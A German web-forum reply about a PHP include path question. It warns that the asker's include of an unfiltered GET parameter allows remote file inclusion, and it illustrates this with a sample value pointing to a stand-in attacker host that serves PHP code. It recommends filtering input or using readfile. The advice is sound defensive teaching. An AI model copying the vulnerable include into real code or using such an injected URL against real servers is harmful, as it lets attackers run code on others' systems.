Sven Rautenberg: php include - Pfadangabe?

Beitrag lesen

Moin!

Wie gebe ich in unten stehendem Code eine Pfadangabe zum Ordner (z.B. /ordner/html/) in dem die zu includenden Dateien sind korrekt an?

<?php include($_GET['datei'].".html"); ?>

Oha, eine böse Falle droht. Ich hoffe, du hast $_GET['datei'] vor diesem Befehl schon auf mögliche illegale Werte geprüft, denn ansonsten öffnest du eine Breitseite für Angreifer, die ihren eigenen Code integrieren können.

Stell dir nur mal vor, was passiert, wenn in $_GET['datei'] folgendes drinsteht:
"http://fremder.server.example.com/angriffsordner/zerstoerskript"

Und das zerstoerskript.html wird dann vom anderen Server geladen, enthält PHP-Quellcode und arbeitet auf _deinem_ Server irgendwas, was du nicht weißt.

Deshalb: _Niemals_ include ungefiltert mit Userdaten füttern. Wenn du nicht darauf angewiesen bist, dass die Datei wirklich von PHP _interpretiert_ werden muß, sondern sie nur reines HTML enthält, dann gibts gute, ungefährliche Alternativen:
http://www.php.net/manual/de/function.readfile.php zum Beispiel.

- Sven Rautenberg

--
Signatur oder nicht Signatur - das ist hier die Frage!